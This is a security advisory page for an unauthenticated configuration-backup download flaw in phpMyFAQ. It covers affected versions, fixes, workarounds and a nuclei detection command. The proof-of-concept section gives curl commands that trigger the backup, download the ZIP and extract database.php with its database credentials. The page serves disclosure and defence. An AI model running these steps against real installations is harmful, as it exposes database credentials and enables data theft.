phpMyFAQ has unauthenticated config backup download via /api/setup/backupGHSA-9cg9-4h4f-j6fg
HIGHFix: thorsten/phpMyFAQ@b0e99eeGHSA-9cg9-4h4f-j6fg is a high-severity (CVSS 7.5) CWE-202 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9cg9-4h4f-j6fg.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
thorsten/phpmyfaq🐘thorsten/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
Details
The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths:
- Rewrite rule exposing the endpoint:
phpmyfaq/.htaccess:RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
- Controller implementation:
phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php→backup()- No call to
hasValidToken(),userIsAuthenticated(), or any permission check
- No call to
- Backup creation:
phpmyfaq/src/phpMyFAQ/Setup/Update.php→createConfigBackup()- Writes the ZIP into the config directory and returns a public URL under
content/core/config/
- Writes the ZIP into the config directory and returns a public URL under
PoC
Replace BASE_URL with your instance URL.
- Trigger config backup generation without authentication:
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"
Expected result: 200 OK with JSON containing backupFile.
- Copy the
backupFileURL from the JSON response and download it (still without authentication):
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
- Verify sensitive content exists in the ZIP:
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
Observed: database.php is included and contains DB host/user/password.
Impact
- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
- Who is impacted: Any internet-exposed phpMyFAQ installation where the default
.htaccessrewrite rules are active and the endpoint is reachable. - Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.0.16composer require thorsten/phpmyfaq:^4.0.16 |
| 🐘Packagist | thorsten/phpmyfaq | ≥ 4.1.0-alpha | No fix |
Affected Products
phpmyfaqphpmyfaqDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update thorsten/phpmyfaq to 4.0.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9cg9-4h4f-j6fg is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
How to detect GHSA-9cg9-4h4f-j6fg
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-9cg9-4h4f-j6fg -u https://target- Template
- phpMyFAQ - Configuration Backup Disclosure
- Severity
- high
- Impact
- Remote attackers can access sensitive configuration files, exposing database credentials and enabling further compromise.
- Remediation
- Update to version 4.0.16 or later.
Template by ProjectDiscovery nuclei-templates (Louay-075), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-9cg9-4h4f-j6fg in your dependencies?
Find it across Packagist, including transitive dependencies.